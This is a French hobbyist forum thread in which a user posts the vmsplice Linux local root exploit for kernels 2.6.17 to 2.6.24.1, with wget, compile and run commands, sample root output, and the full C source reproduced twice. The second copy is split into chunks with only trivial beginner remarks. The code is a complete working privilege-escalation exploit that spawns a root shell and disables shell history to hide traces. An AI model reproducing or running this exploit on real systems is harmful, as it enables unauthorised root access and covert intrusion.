Forum_Master

bonjour a tous voudriez vous avoir un compte?C'est simple cliquer sur s'enregistrer!
Forum_Master

LE forum des nouveautés!

Connexion

Récupérer mon mot de passe

Derniers sujets

» Premuim
Sam 28 Jan - 14:12 par pilou123

» Meaguplaod fermé ?!
Sam 28 Jan - 13:49 par Admin

» Nouveau site en cours de création !
Ven 27 Jan - 23:56 par Admin

» Mégaupload supprimé?
Ven 27 Jan - 9:40 par pilou123

» Regles du forum v.2012
Ven 27 Jan - 9:14 par pilou123

» Le E4200 !
Ven 29 Juil - 14:48 par psypain

» Apprennez a programmer !
Ven 29 Juil - 13:23 par psypain

» Local Root Exploit
Ven 8 Juil - 23:43 par psypain

» Les base de la console.
Mar 22 Fév - 18:32 par Admin

Shopactif


Qui est en ligne ?

Il y a en tout 1 utilisateur en ligne :: 0 Enregistré, 0 Invisible et 1 Invité :: 1 Moteur de recherche

Aucun


[ Voir toute la liste ]


Le record du nombre d'utilisateurs en ligne est de 17 le Ven 27 Jan - 19:23

Flux RSS

Yahoo! 
Google Reader 
MSN 
AOL 
NewsGator 
Netvibes 
Bloglines 

    Local Root Exploit

    Partager

    psypain

    Messages: 4
    Date d'inscription: 08/07/2011

    Local Root Exploit

    Message  psypain le Ven 8 Juil - 23:21

    Alors ceci est une faille donnant l'accés root a un linux ayant un kernel entre 2.6.17 à 2.6.24.1.

    Pourquoi dans cette section?
    Car la faille est en C Smile

    cette faille exploite une faille dans l'appel système vmsplice().

    exploiter? tapez ceci dans la konsole:

    Code:

    wget www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c
    gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c
    ./vmsplice-local-root-exploit
    ...
    [root@localhost tmp]# id
    uid=0(root) gid=0(root) groups=505(sbilbeau)


    Ligne par ligne ca donne:

    Code:
    wget www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c


    On se procure le code source grace a un wget

    Code:
    gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c


    on compile le tout

    Code:
    ./vmsplice-local-root-exploit


    On exécute
    Code:
    ...
    [root@localhost tmp]# id
    uid=0(root) gid=0(root) groups=505(sbilbeau)

    On change les droits Wink

    Mais bref ce qui nous intéresse ici est le fameux code en C se situant a :
    www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c

    que direz vous de l’étudier?


    Dernière édition par psypain le Ven 8 Juil - 23:51, édité 1 fois

    psypain

    Messages: 4
    Date d'inscription: 08/07/2011

    Re: Local Root Exploit

    Message  psypain le Ven 8 Juil - 23:43

    Code:
     * jessica_biel_naked_in_my_bed.c
     *
     * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
     * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
     * Stejnak je to stare jak cyp a aj jakesyk rozbite.
     *
     * Linux vmsplice Local Root Exploit
     * By qaaz
     *
     * Linux 2.6.17 - 2.6.24.1
     *
     * This is quite old code and I had to rewrite it to even compile.
     * It should work well, but I don't remeber original intent of all
     * the code, so I'm not 100% sure about it. You've been warned ;)
     *
     * -static -Wno-format 
     */
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <string.h>
    #include <malloc.h>
    #include <limits.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/uio.h>
    #include <sys/mman.h>
    #include <asm/page.h>
    #define __KERNEL__
    #include <asm/unistd.h>

    #define PIPE_BUFFERS   16
    #define PG_compound   14
    #define uint      unsigned int
    #define static_inline   static inline __attribute__((always_inline))
    #define STACK(x)   (x + sizeof(x) - 40)

    struct page {
       unsigned long flags;
       int count;
       int mapcount;
       unsigned long private;
       void *mapping;
       unsigned long index;
       struct { long next, prev; } lru;
    };

    void   exit_code();
    char   exit_stack[1024 * 1024];

    void   die(char *msg, int err)
    {
       printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
       fflush(stdout);
       fflush(stderr);
       exit(1);
    }

    #if defined (__i386__)

    #ifndef __NR_vmsplice
    #define __NR_vmsplice   316
    #endif

    #define USER_CS      0x73
    #define USER_SS      0x7b
    #define USER_FL      0x246

    static_inline
    void   exit_kernel()
    {
       __asm__ __volatile__ (
       "movl %0, 0x10(%%esp) ;"
       "movl %1, 0x0c(%%esp) ;"
       "movl %2, 0x08(%%esp) ;"
       "movl %3, 0x04(%%esp) ;"
       "movl %4, 0x00(%%esp) ;"
       "iret"
       : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
           "i" (USER_CS), "r" (exit_code)
       );
    }

    static_inline
    void *   get_current()
    {
       unsigned long curr;
       __asm__ __volatile__ (
       "movl %%esp, %%eax ;"
       "andl %1, %%eax ;"
       "movl (%%eax), %0"
       : "=r" (curr)
       : "i" (~8191)
       );
       return (void *) curr;
    }

    #elif defined (__x86_64__)

    #ifndef __NR_vmsplice
    #define __NR_vmsplice   278
    #endif

    #define USER_CS      0x23
    #define USER_SS      0x2b
    #define USER_FL      0x246

    static_inline
    void   exit_kernel()
    {
       __asm__ __volatile__ (
       "swapgs ;"
       "movq %0, 0x20(%%rsp) ;"
       "movq %1, 0x18(%%rsp) ;"
       "movq %2, 0x10(%%rsp) ;"
       "movq %3, 0x08(%%rsp) ;"
       "movq %4, 0x00(%%rsp) ;"
       "iretq"
       : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
           "i" (USER_CS), "r" (exit_code)
       );
    }

    static_inline
    void *   get_current()
    {
       unsigned long curr;
       __asm__ __volatile__ (
       "movq %%gs:(0), %0"
       : "=r" (curr)
       );
       return (void *) curr;
    }

    #else
    #error "unsupported arch"
    #endif

    #if defined (_syscall4)
    #define __NR__vmsplice   __NR_vmsplice
    _syscall4(
       long, _vmsplice,
       int, fd,
       struct iovec *, iov,
       unsigned long, nr_segs,
       unsigned int, flags)

    #else
    #define _vmsplice(fd,io,nr,fl)   syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
    #endif

    static uint uid, gid;

    void   kernel_code()
    {
       int   i;
       uint   *p = get_current();

       for (i = 0; i < 1024-13; i++) {
          if (p[0] == uid && p[1] == uid &&
              p[2] == uid && p[3] == uid &&
              p[4] == gid && p[5] == gid &&
              p[6] == gid && p[7] == gid) {
             p[0] = p[1] = p[2] = p[3] = 0;
             p[4] = p[5] = p[6] = p[7] = 0;
             p = (uint *) ((char *)(p + 8) + sizeof(void *));
             p[0] = p[1] = p[2] = ~0;
             break;
          }
          p++;
       }   

       exit_kernel();
    }

    void   exit_code()
    {
       if (getuid() != 0)
          die("wtf", 0);

       printf("[+] root\n");
       putenv("HISTFILE=/dev/null");
       execl("/bin/bash", "bash", "-i", NULL);
       die("/bin/bash", errno);
    }

    int   main(int argc, char *argv[])
    {
       int      pi[2];
       size_t      map_size;
       char *      map_addr;
       struct iovec   iov;
       struct page *   pages[5];

       uid = getuid();
       gid = getgid();
       setresuid(uid, uid, uid);
       setresgid(gid, gid, gid);

       printf("-----------------------------------\n");
       printf(" Linux vmsplice Local Root Exploit\n");
       printf(" By qaaz\n");
       printf("-----------------------------------\n");

       if (!uid || !gid)
          die("!@#$", 0);

       /*****/
       pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
       pages[1] = pages[0] + 1;

       map_size = PAGE_SIZE;
       map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                       MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (map_addr == MAP_FAILED)
          die("mmap", errno);

       memset(map_addr, 0, map_size);
       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
       printf("[+] page: 0x%lx\n", pages[0]);
       printf("[+] page: 0x%lx\n", pages[1]);

       pages[0]->flags    = 1 << PG_compound;
       pages[0]->private  = (unsigned long) pages[0];
       pages[0]->count    = 1;
       pages[1]->lru.next = (long) kernel_code;

       /*****/
       pages[2] = *(void **) pages[0];
       pages[3] = pages[2] + 1;

       map_size = PAGE_SIZE;
       map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                       MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (map_addr == MAP_FAILED)
          die("mmap", errno);

       memset(map_addr, 0, map_size);
       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
       printf("[+] page: 0x%lx\n", pages[2]);
       printf("[+] page: 0x%lx\n", pages[3]);

       pages[2]->flags    = 1 << PG_compound;
       pages[2]->private  = (unsigned long) pages[2];
       pages[2]->count    = 1;
       pages[3]->lru.next = (long) kernel_code;

       /*****/
       pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
       map_size = PAGE_SIZE;
       map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                       MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (map_addr == MAP_FAILED)
          die("mmap", errno);
       memset(map_addr, 0, map_size);
       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
       printf("[+] page: 0x%lx\n", pages[4]);

       /*****/
       map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
       map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (map_addr == MAP_FAILED)
          die("mmap", errno);

       memset(map_addr, 0, map_size);
       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

       /*****/
       map_size -= 2 * PAGE_SIZE;
       if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
          die("munmap", errno);

       /*****/
       if (pipe(pi) < 0) die("pipe", errno);
       close(pi[0]);

       iov.iov_base = map_addr;
       iov.iov_len  = ULONG_MAX;

       signal(SIGPIPE, exit_code);
       _vmsplice(pi[1], &iov, 1, 0);
       die("vmsplice", errno);
       return 0;
    }

    // milw0rm.com [2008-02-09]


    mwai ca parle pas tellement, et si on commentais le code? (pas avec /* */ car sinon on y verrais rien, on decoupe xD

    Code:
     * jessica_biel_naked_in_my_bed.c
     *
     * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
     * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
     * Stejnak je to stare jak cyp a aj jakesyk rozbite.
     *
     * Linux vmsplice Local Root Exploit
     * By qaaz
     *
     * Linux 2.6.17 - 2.6.24.1
     *
     * This is quite old code and I had to rewrite it to even compile.
     * It should work well, but I don't remeber original intent of all
     * the code, so I'm not 100% sure about it. You've been warned ;)
     *
     * -static -Wno-format 
     */


    bon voici le blabla quotidien des failles, inutiles ils sont sous commentaire


    Code:
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <string.h>
    #include <malloc.h>
    #include <limits.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/uio.h>
    #include <sys/mman.h>
    #include <asm/page.h>
    #define __KERNEL__
    #include <asm/unistd.h>

    #define PIPE_BUFFERS   16
    #define PG_compound   14
    #define uint      unsigned int
    #define static_inline   static inline __attribute__((always_inline))
    #define STACK(x)   (x + sizeof(x) - 40)

    on inclus les bibliothèques et on fait des define afin de remplacer les valeurs plus tard si on le souhaite (ou pour plus de clarté)


    Code:
    struct page {
       unsigned long flags;
       int count;
       int mapcount;
       unsigned long private;
       void *mapping;
       unsigned long index;
       struct { long next, prev; } lru;
    };


    on crée une nouvelle structure de variable

    Code:
     void exit_code();

    char   exit_stack[1024 * 1024];

    void   die(char *msg, int err)
    {
       printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
       fflush(stdout);
       fflush(stderr);
       exit(1);
    }


    On crée nos fonction (inutile de détailler ici, c'est évident ce qui est fait)

    Code:
     #if defined (__i386__)

    #ifndef __NR_vmsplice
    #define __NR_vmsplice   316
    #endif

    #define USER_CS      0x73
    #define USER_SS      0x7b
    #define USER_FL      0x246


    des ifndef et des define

    Code:
     static_inline
    void   exit_kernel()
    {
       __asm__ __volatile__ (
       "movl %0, 0x10(%%esp) ;"
       "movl %1, 0x0c(%%esp) ;"
       "movl %2, 0x08(%%esp) ;"
       "movl %3, 0x04(%%esp) ;"
       "movl %4, 0x00(%%esp) ;"
       "iret"
       : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
           "i" (USER_CS), "r" (exit_code)
       );
    }

    static_inline
    void *   get_current()
    {
       unsigned long curr;
       __asm__ __volatile__ (
       "movl %%esp, %%eax ;"
       "andl %1, %%eax ;"
       "movl (%%eax), %0"
       : "=r" (curr)
       : "i" (~8191)
       );
       return (void *) curr;
    }


    Fonction Smile

    Code:
     #elif defined (__x86_64__)

    #ifndef __NR_vmsplice
    #define __NR_vmsplice   278
    #endif

    #define USER_CS      0x23
    #define USER_SS      0x2b
    #define USER_FL      0x246


    des ifndef et des define

    Code:
     static_inline
    void   exit_kernel()
    {
       __asm__ __volatile__ (
       "swapgs ;"
       "movq %0, 0x20(%%rsp) ;"
       "movq %1, 0x18(%%rsp) ;"
       "movq %2, 0x10(%%rsp) ;"
       "movq %3, 0x08(%%rsp) ;"
       "movq %4, 0x00(%%rsp) ;"
       "iretq"
       : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
           "i" (USER_CS), "r" (exit_code)
       );
    }

    static_inline
    void *   get_current()
    {
       unsigned long curr;
       __asm__ __volatile__ (
       "movq %%gs:(0), %0"
       : "=r" (curr)
       );
       return (void *) curr;
    }


    Fonction

    Code:
     #else
    #error "unsupported arch"
    #endif


    Sinon l'architecture est pas supporté (trop recente pour la faille, ou trop vieille Wink )

    Code:

    #if defined (_syscall4)
    #define __NR__vmsplice   __NR_vmsplice
    _syscall4(
       long, _vmsplice,
       int, fd,
       struct iovec *, iov,
       unsigned long, nr_segs,
       unsigned int, flags)

    #else
    #define _vmsplice(fd,io,nr,fl)   syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
    #endif



    utile de me répété?

    Code:
     static uint uid, gid;

    void   kernel_code()
    {
       int   i;
       uint   *p = get_current();

       for (i = 0; i < 1024-13; i++) {
          if (p[0] == uid && p[1] == uid &&
              p[2] == uid && p[3] == uid &&
              p[4] == gid && p[5] == gid &&
              p[6] == gid && p[7] == gid) {
             p[0] = p[1] = p[2] = p[3] = 0;
             p[4] = p[5] = p[6] = p[7] = 0;
             p = (uint *) ((char *)(p + 8) + sizeof(void *));
             p[0] = p[1] = p[2] = ~0;
             break;
          }
          p++;
       }   

       exit_kernel();
    }

    void   exit_code()
    {
       if (getuid() != 0)
          die("wtf", 0);

       printf("[+] root\n");
       putenv("HISTFILE=/dev/null");
       execl("/bin/bash", "bash", "-i", NULL);
       die("/bin/bash", errno);
    }


    Fonction

    Code:
     int   main(int argc, char *argv[])
    {
       int      pi[2];
       size_t      map_size;
       char *      map_addr;
       struct iovec   iov;
       struct page *   pages[5];

       uid = getuid();
       gid = getgid();
       setresuid(uid, uid, uid);
       setresgid(gid, gid, gid);

       printf("-----------------------------------\n");
       printf(" Linux vmsplice Local Root Exploit\n");
       printf(" By qaaz\n");
       printf("-----------------------------------\n");

       if (!uid || !gid)
          die("!@#$", 0);

       /*****/
       pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
       pages[1] = pages[0] + 1;

       map_size = PAGE_SIZE;
       map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                       MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (map_addr == MAP_FAILED)
          die("mmap", errno);

       memset(map_addr, 0, map_size);
       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
       printf("[+] page: 0x%lx\n", pages[0]);
       printf("[+] page: 0x%lx\n", pages[1]);

       pages[0]->flags    = 1 << PG_compound;
       pages[0]->private  = (unsigned long) pages[0];
       pages[0]->count    = 1;
       pages[1]->lru.next = (long) kernel_code;

       /*****/
       pages[2] = *(void **) pages[0];
       pages[3] = pages[2] + 1;

       map_size = PAGE_SIZE;
       map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                       MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (map_addr == MAP_FAILED)
          die("mmap", errno);

       memset(map_addr, 0, map_size);
       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
       printf("[+] page: 0x%lx\n", pages[2]);
       printf("[+] page: 0x%lx\n", pages[3]);

       pages[2]->flags    = 1 << PG_compound;
       pages[2]->private  = (unsigned long) pages[2];
       pages[2]->count    = 1;
       pages[3]->lru.next = (long) kernel_code;

       /*****/
       pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
       map_size = PAGE_SIZE;
       map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                       MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (map_addr == MAP_FAILED)
          die("mmap", errno);
       memset(map_addr, 0, map_size);
       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
       printf("[+] page: 0x%lx\n", pages[4]);

       /*****/
       map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
       map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
       if (map_addr == MAP_FAILED)
          die("mmap", errno);

       memset(map_addr, 0, map_size);
       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

       /*****/
       map_size -= 2 * PAGE_SIZE;
       if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
          die("munmap", errno);

       /*****/
       if (pipe(pi) < 0) die("pipe", errno);
       close(pi[0]);

       iov.iov_base = map_addr;
       iov.iov_len  = ULONG_MAX;

       signal(SIGPIPE, exit_code);
       _vmsplice(pi[1], &iov, 1, 0);
       die("vmsplice", errno);
       return 0;
    }


    la fonction main

    Bon vous me direz, j'ai soulever que des évidence.

    mais le but est ici (étant donnée que c'est un cour de débutant) est de montrer le mode de raisonnement d'une première approche a utiliser quand on est devant un code source que l'on connais pas.

    car c'est en étudiant les codes sources des autres, plus ou moin difficile que l'on progresse Smile

    Après il faut:
    - comprendre les différentes fonctions
    - ce que fait le code source
    - comment il réagit
    - ce que font les fonction évidement Smile

    (ce que je n'ai pas fait délibérément, j'ai fait seulement la premiére étape)

    en esperant vous avoir aidé et été assez clair ^^

      La date/heure actuelle est Dim 20 Mai - 12:25